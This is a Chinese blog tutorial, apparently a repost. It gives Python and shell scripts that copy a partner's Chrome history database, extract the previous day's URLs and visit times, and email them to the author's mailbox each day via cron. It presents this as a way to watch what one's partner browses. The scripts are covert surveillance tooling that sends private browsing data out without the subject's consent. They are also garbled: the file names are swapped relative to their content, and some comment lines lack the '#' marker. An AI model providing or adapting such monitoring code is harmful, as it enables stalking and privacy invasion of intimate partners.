zoukankan      html  css  js  c++  java
  • 清空网站浏览记录就行啦?看Python如何实时监控网站浏览记录

    前言

    本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。

    需求:

    (1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

    (2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

    (3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

    准备

    macOS Sierra

    Python3.6

    Chrome

    发送邮件的qq邮箱地址

    qq邮箱授权码

    SMTP服务器地址 : smtp.qq.com

    接受邮件的邮箱地址

    执行:

    (1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

    从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

    清空网站浏览记录就行啦?看Python如何实时监控网站浏览记录

     

    (2) get_history.py:

    # -*- coding: utf-8 -*-
    from email import encoders
    from email.header import Header
    from email.mime.text import MIMEText
    from email.mime.multipart import MIMEMultipart
    from email.mime.base import MIMEBase
    from email.utils import parseaddr, formataddr
    import smtplib
    import argparse

    1.文件执行的需要的参数(result.txt)
    parser = argparse.ArgumentParser()
    parser.add_argument('affix_file',help='the path of the affix')
    args = parser.parse_args()


    2.格式化一个邮件地址和邮件信息
    def _format_addr(s):
        name, addr = parseaddr(s)
        return formataddr((Header(name, 'utf-8').encode(), addr))

    #连接服务器(这里大家好改成自己的!)
    from_addr = "771568102@qq.com" #发件人邮箱
    password = "xxxxxxxx" #发件人邮箱授权码
    to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
    smtp_server = "smtp.qq.com" #SMTP服务器地址

    #邮件发件人名字、收件人名字、主题
    msg = MIMEMultipart()
    msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
    msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
    msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()

    # 邮件正文是MIMEText:
    msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))

    # 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
    with open(args.affix_file, 'r') as f:
        # 设置附件的MIME和文件名,这里是py类型:
        mime = MIMEBase('result', 'txt', filename='result.txt')
        # 加上必要的头信息:
        mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
        mime.add_header('Content-ID', '<0>')
        mime.add_header('X-Attachment-Id', '0')
        # 把附件的内容读进来:
        mime.set_payload(f.read())
        # 用Base64编码:
        encoders.encode_base64(mime)
        # 添加到MIMEMultipart:
        msg.attach(mime)

    #3.通过SMTP发送出去
    server = smtplib.SMTP(smtp_server, 25)
    server.set_debuglevel(1)
    server.login(from_addr, password)
    server.sendmail(from_addr, [to_addr], msg.as_string())
    server.quit()

    通过这个脚本,我们可以把url和访问时间提取出来,并且存储在

    result.txt中,下图就是我得到的部分结果

    清空网站浏览记录就行啦?看Python如何实时监控网站浏览记录

     

    (3) send_email.py:

    # -*- coding: utf-8 -*-
    import sqlite3

    #大家要改成自己的路径
    history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

    1.连接history_db
    c = sqlite3.connect(history_db)
    cursor = c.cursor()


    2.选取我们想要的网址和访问时间
    try:
        select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
        cursor.execute(select_statement)
    except sqlite3.OperationalError:
        print("[!] The database is locked! Please exit Chrome and run the script again.")
        quit()

    3.将网址和访问时间存入result.txt文件
    results = cursor.fetchall()
    with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
        for i in range(len(results)):
            f.write(results[i][1]+' ')
            f.write(results[i][0]+' ')

    通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地

    址,下图是我得到的部分结果

    清空网站浏览记录就行啦?看Python如何实时监控网站浏览记录

     

    (4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚

    本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

    cp /Users/Marcel/Library/Application Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
    python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
    python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

    这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

    注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

    (5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

    使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

    20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

    说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

    重要的事再说一遍,一定要写绝对路径!!

  • 相关阅读:
    selenium 常见操作,使用 pywin32库 进行上传操作
    selenium 常见操作,使用 js 操作-日期框及文本框
    selenium 常见操作,js操作-将元素滚动到页面可见区域
    selenium 常见操作,使用 Keys 类来进行键盘的按键操作
    oracle性能诊断sql
    浏览器是如何处理页面元素的Download?
    websphere启动报:Could not resolve placeholder 'hibernate.hbm2ddl.auto' in string value "${hibernate.hbm2ddl.auto}"
    websphere部署不能发布war文件,提示“配置库中已存在应用程序
    websphere gc策略调整
    oracle表结构表数据导入导出
  • 原文地址:https://www.cnblogs.com/zwhy8/p/13268968.html
Copyright © 2011-2022 走看看